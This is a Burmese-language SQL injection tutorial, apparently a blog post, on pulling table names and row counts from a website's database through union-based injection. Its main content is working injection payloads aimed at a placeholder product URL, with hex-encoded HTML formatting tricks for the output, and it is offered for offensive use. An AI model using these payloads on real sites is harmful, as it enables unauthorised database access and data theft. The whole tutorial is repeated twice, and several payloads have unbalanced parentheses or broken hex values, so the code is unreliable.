#############################################################
Playing with SQLi output data
#############################################################
ဒီက်ဴတို ကိုဖတ္မယ္ဆိုရင္ အရင္ဆံုးစာဖတ္သူအေနနဲ႔ Union Based Injection ေလာက္ေတာ့ ပိုင္နိုင္ေနဖို႕လိုပါတယ္။
Step #1
က်ေနာ္ တို႔ table ေတြကိုအရင္ဆံုး dump လုပ္မယ္ ။ ပံုမွန္ က်ေနာ္တို႔ table နွိုက္ထုတ္တဲ့ command နဲ႔ေတာ့မတူပါဘူး
ဘာလို႔လဲဆို ရင္က်ေနာ္တို႔ php code ေတြကိုသံုးမွာမို႔ိလို႔ပါ။
code ကေတာ့ ေအာက္မွာ ျပထားပါတယ္။
(select (@x) from (select (@x:=0x00), (select (0) from (information_schema.tables)
where (table_schema=database()) and (0x00) in (@x:=concat(@x,0x3c62723e,table_name))))x)
ဟုတ္ပီ ဒီ comment ကိုက်ေနာ္တို႔ထည့္မယ္။php သေဘာတရားကိုေတာ့ က်ေနာ္ လည္း သိပ္မသိပါဘူး။ဒါေပမယ့္ က်ေနာ္
တို႔ က database ထဲက ေန table ေတြကိုဆြဲ ထုတ္ပီး table name ေတြကို concat နဲ႔ web ေပၚမွာ ေပၚေအာင္ေရးတယ္ဆိုတာေလာက္ေတာ့
သိထားရပါမယ္။
query အျပည့္အစံုက ဘယ္လိုျဖစ္မလဲ ဒါဆို
code :
http://www.site.com/product/php?id=3 union select 1,2,concat((select (@x) from (select (@x:=0x00), (select (0) from (information_schema.tables)
where (table_schema=database()) and (0x00) in (@x:=concat(@x,0x3c62723e,table_name))))x)),4,5--
ဒီလိုဆိုရင္က်ေနာ္တို႕ table name ေတြကို web ေပၚမွာ ျမင္နိုင္ပါၿပီ။
Step #2
ဟုတ္ၿပီ က်ေနာ္ တို႔ table ေတြကို အခု ေစာေစာကလို ဆြဲမထုတ္ေတာ့ဘူး
table အလိုက္ record ေတြကိုပါ တခါတည္း နိွုက္ထုတ္မယ္။
သံုးရမယ့္ query က
(select (@x) from (select (@x:=0x00), (select (0) from (information_schema.tables)
where (table_schema=database()) and (0x00) in (@x:=concat(@x,
if( table_rows>10, concat(0x3c62723e, table_name, table_rows), 0x00)
))))x)
က်ေနာ္ တို႔ဒီ code ကို နားလည္ေအာင္ၾကည့္မယ္။php သေဘာတရားေတာ့က်ေနာ္လည္းမရဘူးေနာ္။
ခု ဒီ query မွာေစာေစာက query နဲ႔ ဘာကြာလဲဆိုတာၾကည့္ေတာ့ if() function တခုပိုလာတာကိုေတြ႕ရတယ္။
if function ကိုဘယ္လိုသံုးထားသလဲ?
if (some_condition , condition is true , condition is false)
သေဘာတရားကေတာ့ရွင္းပါတယ္
some_condition ဆိုတာ က condition ကိုစစ္မယ္။ table_rows>10 ဆိုတဲ့ condition
if condition true ဆိုရင္ concat(0x<br>,table_name,table_rows) ဆိုပီး ထုတ္လုိက္မယ္
ဆိုလိုတာကေတာ့ table_rows က 10 ထက္ႀကီးေနမယ္ဆိုရင္ line 1 လုိင္းဆင္းၿပီး table name ေတြ table row ေတြကိုထုတ္လိုက္မယ္ဆိုတဲ့သေဘာပါ
ေနာက္ဆံုး condition false ဆိုရင္ေတာ့ 0x00 ဆိုတာ null နဲ႔ညီပါတယ္ ဒီေတာ့ ဘာမွမလုပ္ဖူးေပါ့
ဒီေလာက္ဆို if() function ကိုနားလည္မယ္ထင္ပါတယ္
query အျပည့္အစံုကေတာ့ ဒီလိုျဖစ္သြားမယ္
code:
http://www.site.com/product/php?id=3 union select 1,2,concat((select (@x) from (select (@x:=0x00), (select (0) from (information_schema.tables)
where (table_schema=database()) and (0x00) in (@x:=concat(@x,)if( table_rows>10,concat(0x3c6273e, table_name, table_rows)))x)),4,5--
ဒါဆိုရင္ table ေတြရဲ႔ေဘးမွာ record ေတြပါတြဲ ေပၚလာမယ္
ဒါေပမယ့္ တဆက္တည္းျဖစ္ေနမယ္ ဒါေၾကာင့္ကိုယ္ေပၚခ်င္တဲ့စာသားကို ေရွ႔မွာ 0x ေလးခံၿပီး ့hex တန္ဖိုးေျပာင္းၿပီးရင္
table_rows နဲ႕ table_name ၾကားမွာ ထည့္လိုက္မယ္ ။-->records in table--> ဘာညာေရးက်ပါတယ္
Step #3
က်ေနာ္ ပံုမွန္အားျဖင့္ေတာ့ step 2 ေလာက္ဆိုလံုေလာက္ပါၿပီ။ဒါေပမယ့္ တခ်ို႕challenge ေတြမွာက်ေတာ့ task ေတြမ်ားတယ္ေလ
ဥပမာ။ ။ Task: record in tables with align (not use html code)
ဒီလို task ေလးေတြရွိပါတယ္ က်ေနာ္ တို႔ပံုမွန္အတိုင္းဆို html code ေလးေတြနဲ႔ align=center ဘာညာနဲ႔လုပ္လို႔ရပါတယ္
html code ကိုလည္း မသံုးရဘူးဆိုေတာ့ ဘာဆက္လုပ္က်မလဲ
ဘာမွစိတ္မပူပါနဲ႔ က်ေနာ္ ajkaro ဆီက မလာတဲ့က်ဴတိုေတြရွိပါတယ္
ဒီေတာ့ က်ေနာ္ ဆက္ေဖာမယ္ ဟိဟိ
ဒီအဆင့္မွာ အဆင့္ ၃ ဆင့္ရွိပါတယ္ repeat() ထည့္မယ္။ font ကို courier ေျပာင္းမယ္
ဟုတ္ၿပီဆက္သြားမယ္
ပထမဆံုး repeat () function ကုိ table_name ရဲ႔ေနာက္မွာထားမယ္
repeat(0x266e6273703b, 15-length(table_name))
266e6273703b ဆိုတာက ရဲ႕ hex တန္ဖိုးပါ။
ဆိုတာ hard space တန္ဖိုးပါ ဒီေတာ့ ဆိုလိုရင္းက hard space ကို character 15 လုံုးစာ table_name ရဲ႕ေနာက္မွာထားမယ္ေပါ့
code က ဒီလိုမ်ိဳးျဖစ္သြားမယ္
(select (@x) from (select (@x:=0x00), (select (0) from (information_schema.tables)
where (table_schema=database()) and (0x00) in (@x:=concat(@x,if( table_rows>10,concat(0x3c6273e, table_name,repeat(0x266e6273703b, 15-length(table_name)), table_rows)))x)
ဒါဆိုရင္ ပံုစံေျပာင္းသြားၿပီ ဒါေပမယ့္ မရေသးဘူး ဟိဟိ
က်ေနာ္ တို႔ က table_name ေတြကို ဘယ္ဘက္ table_rows ေတြကိုက်ေတာ့ ညာဘက္ေပၚခ်င္တာ။အဆင္ေျပရင္ေတာ့ ပံုထည့္ေပးပါမယ္
ဆက္သြားမယ္ table_rows ရဲ႕ ေရွ႕မွာ
repeat(0x266e6273703b, 15-length(table_rows)) ကိုထည့္မယ္ ။ဆုိလိုရင္းကိုေတာ့ အေပၚမွာရွင္းၿပီးၿပီဆိုေတာ့
code က
(select (@x) from (select (@x:=0x00), (select (0) from (information_schema.tables)
where (table_schema=database()) and (0x00) in (@x:=concat(@x,if( table_rows>10,
concat(0x3c6273e, table_name,repeat(0x266e6273703b, 15-length(table_name)),repeat(0x266e6273703b, 15-length(table_rows)), table_rows)))x)
ဒီလိုမ်ိဳးျဖစ္သြားမယ္ ေနာ္
ေနာက္ဆံုးအေနနဲ႔ က်ေနာ္တို႔ font ခ်ိန္းမယ္။ 0x3c666f6e7420666163653d636f75726965723e ဒါကေတာ့
<font face=courier> ရဲ႕ hex တန္ဖိုးပါ။ ဒီတန္ဖိုးကို က်ေနာ္တို႔ if() ေရွ႕မွာ ထည့္မယ္
ေနာက္ဆံုး query ကဒီလိုျဖစ္သြားမယ္။
(select (@x) from (select (@x:=0x00), (select (0) from (information_schema.tables)
where (table_schema=database()) and (0x00) in (@x:=concat(@x,0x3c666f6e7420666163653d636f75726965723e, if( table_rows>10,
concat(0x3c6273e, table_name,repeat(0x266e6273703b, 15-length(table_name)),repeat(0x266e6273703b, 15-length(table_rows)), table_rows)))x)
ဒီလိုဆိုရင္ေတာ့ က်ေနာ္တို႕ေနာက္ဆံုး လိုခ်င္တဲ့ ပံုစံရသြားပါၿပီ။ ။
########################################################################
Credit to : Ajkaro
Regards : 4Rd4m-injector
########################################################################
ေက်းဇူးတင္ပါတယ္ မွားေနတာေလးမ်ားရွိရင္လည္း ၀င္ေဆြးေႏြးသြားၾကပါဦး မာမီတို႔ :bh:
Playing with SQLi output data
#############################################################
ဒီက်ဴတို ကိုဖတ္မယ္ဆိုရင္ အရင္ဆံုးစာဖတ္သူအေနနဲ႔ Union Based Injection ေလာက္ေတာ့ ပိုင္နိုင္ေနဖို႕လိုပါတယ္။
Step #1
က်ေနာ္ တို႔ table ေတြကိုအရင္ဆံုး dump လုပ္မယ္ ။ ပံုမွန္ က်ေနာ္တို႔ table နွိုက္ထုတ္တဲ့ command နဲ႔ေတာ့မတူပါဘူး
ဘာလို႔လဲဆို ရင္က်ေနာ္တို႔ php code ေတြကိုသံုးမွာမို႔ိလို႔ပါ။
code ကေတာ့ ေအာက္မွာ ျပထားပါတယ္။
(select (@x) from (select (@x:=0x00), (select (0) from (information_schema.tables)
where (table_schema=database()) and (0x00) in (@x:=concat(@x,0x3c62723e,table_name))))x)
ဟုတ္ပီ ဒီ comment ကိုက်ေနာ္တို႔ထည့္မယ္။php သေဘာတရားကိုေတာ့ က်ေနာ္ လည္း သိပ္မသိပါဘူး။ဒါေပမယ့္ က်ေနာ္
တို႔ က database ထဲက ေန table ေတြကိုဆြဲ ထုတ္ပီး table name ေတြကို concat နဲ႔ web ေပၚမွာ ေပၚေအာင္ေရးတယ္ဆိုတာေလာက္ေတာ့
သိထားရပါမယ္။
query အျပည့္အစံုက ဘယ္လိုျဖစ္မလဲ ဒါဆို
code :
http://www.site.com/product/php?id=3 union select 1,2,concat((select (@x) from (select (@x:=0x00), (select (0) from (information_schema.tables)
where (table_schema=database()) and (0x00) in (@x:=concat(@x,0x3c62723e,table_name))))x)),4,5--
ဒီလိုဆိုရင္က်ေနာ္တို႕ table name ေတြကို web ေပၚမွာ ျမင္နိုင္ပါၿပီ။
Step #2
ဟုတ္ၿပီ က်ေနာ္ တို႔ table ေတြကို အခု ေစာေစာကလို ဆြဲမထုတ္ေတာ့ဘူး
table အလိုက္ record ေတြကိုပါ တခါတည္း နိွုက္ထုတ္မယ္။
သံုးရမယ့္ query က
(select (@x) from (select (@x:=0x00), (select (0) from (information_schema.tables)
where (table_schema=database()) and (0x00) in (@x:=concat(@x,
if( table_rows>10, concat(0x3c62723e, table_name, table_rows), 0x00)
))))x)
က်ေနာ္ တို႔ဒီ code ကို နားလည္ေအာင္ၾကည့္မယ္။php သေဘာတရားေတာ့က်ေနာ္လည္းမရဘူးေနာ္။
ခု ဒီ query မွာေစာေစာက query နဲ႔ ဘာကြာလဲဆိုတာၾကည့္ေတာ့ if() function တခုပိုလာတာကိုေတြ႕ရတယ္။
if function ကိုဘယ္လိုသံုးထားသလဲ?
if (some_condition , condition is true , condition is false)
သေဘာတရားကေတာ့ရွင္းပါတယ္
some_condition ဆိုတာ က condition ကိုစစ္မယ္။ table_rows>10 ဆိုတဲ့ condition
if condition true ဆိုရင္ concat(0x<br>,table_name,table_rows) ဆိုပီး ထုတ္လုိက္မယ္
ဆိုလိုတာကေတာ့ table_rows က 10 ထက္ႀကီးေနမယ္ဆိုရင္ line 1 လုိင္းဆင္းၿပီး table name ေတြ table row ေတြကိုထုတ္လိုက္မယ္ဆိုတဲ့သေဘာပါ
ေနာက္ဆံုး condition false ဆိုရင္ေတာ့ 0x00 ဆိုတာ null နဲ႔ညီပါတယ္ ဒီေတာ့ ဘာမွမလုပ္ဖူးေပါ့
ဒီေလာက္ဆို if() function ကိုနားလည္မယ္ထင္ပါတယ္
query အျပည့္အစံုကေတာ့ ဒီလိုျဖစ္သြားမယ္
code:
http://www.site.com/product/php?id=3 union select 1,2,concat((select (@x) from (select (@x:=0x00), (select (0) from (information_schema.tables)
where (table_schema=database()) and (0x00) in (@x:=concat(@x,)if( table_rows>10,concat(0x3c6273e, table_name, table_rows)))x)),4,5--
ဒါဆိုရင္ table ေတြရဲ႔ေဘးမွာ record ေတြပါတြဲ ေပၚလာမယ္
ဒါေပမယ့္ တဆက္တည္းျဖစ္ေနမယ္ ဒါေၾကာင့္ကိုယ္ေပၚခ်င္တဲ့စာသားကို ေရွ႔မွာ 0x ေလးခံၿပီး ့hex တန္ဖိုးေျပာင္းၿပီးရင္
table_rows နဲ႕ table_name ၾကားမွာ ထည့္လိုက္မယ္ ။-->records in table--> ဘာညာေရးက်ပါတယ္
Step #3
က်ေနာ္ ပံုမွန္အားျဖင့္ေတာ့ step 2 ေလာက္ဆိုလံုေလာက္ပါၿပီ။ဒါေပမယ့္ တခ်ို႕challenge ေတြမွာက်ေတာ့ task ေတြမ်ားတယ္ေလ
ဥပမာ။ ။ Task: record in tables with align (not use html code)
ဒီလို task ေလးေတြရွိပါတယ္ က်ေနာ္ တို႔ပံုမွန္အတိုင္းဆို html code ေလးေတြနဲ႔ align=center ဘာညာနဲ႔လုပ္လို႔ရပါတယ္
html code ကိုလည္း မသံုးရဘူးဆိုေတာ့ ဘာဆက္လုပ္က်မလဲ
ဘာမွစိတ္မပူပါနဲ႔ က်ေနာ္ ajkaro ဆီက မလာတဲ့က်ဴတိုေတြရွိပါတယ္
ဒီေတာ့ က်ေနာ္ ဆက္ေဖာမယ္ ဟိဟိ
ဒီအဆင့္မွာ အဆင့္ ၃ ဆင့္ရွိပါတယ္ repeat() ထည့္မယ္။ font ကို courier ေျပာင္းမယ္
ဟုတ္ၿပီဆက္သြားမယ္
ပထမဆံုး repeat () function ကုိ table_name ရဲ႔ေနာက္မွာထားမယ္
repeat(0x266e6273703b, 15-length(table_name))
266e6273703b ဆိုတာက ရဲ႕ hex တန္ဖိုးပါ။
ဆိုတာ hard space တန္ဖိုးပါ ဒီေတာ့ ဆိုလိုရင္းက hard space ကို character 15 လုံုးစာ table_name ရဲ႕ေနာက္မွာထားမယ္ေပါ့
code က ဒီလိုမ်ိဳးျဖစ္သြားမယ္
(select (@x) from (select (@x:=0x00), (select (0) from (information_schema.tables)
where (table_schema=database()) and (0x00) in (@x:=concat(@x,if( table_rows>10,concat(0x3c6273e, table_name,repeat(0x266e6273703b, 15-length(table_name)), table_rows)))x)
ဒါဆိုရင္ ပံုစံေျပာင္းသြားၿပီ ဒါေပမယ့္ မရေသးဘူး ဟိဟိ
က်ေနာ္ တို႔ က table_name ေတြကို ဘယ္ဘက္ table_rows ေတြကိုက်ေတာ့ ညာဘက္ေပၚခ်င္တာ။အဆင္ေျပရင္ေတာ့ ပံုထည့္ေပးပါမယ္
ဆက္သြားမယ္ table_rows ရဲ႕ ေရွ႕မွာ
repeat(0x266e6273703b, 15-length(table_rows)) ကိုထည့္မယ္ ။ဆုိလိုရင္းကိုေတာ့ အေပၚမွာရွင္းၿပီးၿပီဆိုေတာ့
code က
(select (@x) from (select (@x:=0x00), (select (0) from (information_schema.tables)
where (table_schema=database()) and (0x00) in (@x:=concat(@x,if( table_rows>10,
concat(0x3c6273e, table_name,repeat(0x266e6273703b, 15-length(table_name)),repeat(0x266e6273703b, 15-length(table_rows)), table_rows)))x)
ဒီလိုမ်ိဳးျဖစ္သြားမယ္ ေနာ္
ေနာက္ဆံုးအေနနဲ႔ က်ေနာ္တို႔ font ခ်ိန္းမယ္။ 0x3c666f6e7420666163653d636f75726965723e ဒါကေတာ့
<font face=courier> ရဲ႕ hex တန္ဖိုးပါ။ ဒီတန္ဖိုးကို က်ေနာ္တို႔ if() ေရွ႕မွာ ထည့္မယ္
ေနာက္ဆံုး query ကဒီလိုျဖစ္သြားမယ္။
(select (@x) from (select (@x:=0x00), (select (0) from (information_schema.tables)
where (table_schema=database()) and (0x00) in (@x:=concat(@x,0x3c666f6e7420666163653d636f75726965723e, if( table_rows>10,
concat(0x3c6273e, table_name,repeat(0x266e6273703b, 15-length(table_name)),repeat(0x266e6273703b, 15-length(table_rows)), table_rows)))x)
ဒီလိုဆိုရင္ေတာ့ က်ေနာ္တို႕ေနာက္ဆံုး လိုခ်င္တဲ့ ပံုစံရသြားပါၿပီ။ ။
########################################################################
Credit to : Ajkaro
Regards : 4Rd4m-injector
########################################################################
ေက်းဇူးတင္ပါတယ္ မွားေနတာေလးမ်ားရွိရင္လည္း ၀င္ေဆြးေႏြးသြားၾကပါဦး မာမီတို႔ :bh:
No comments:
Post a Comment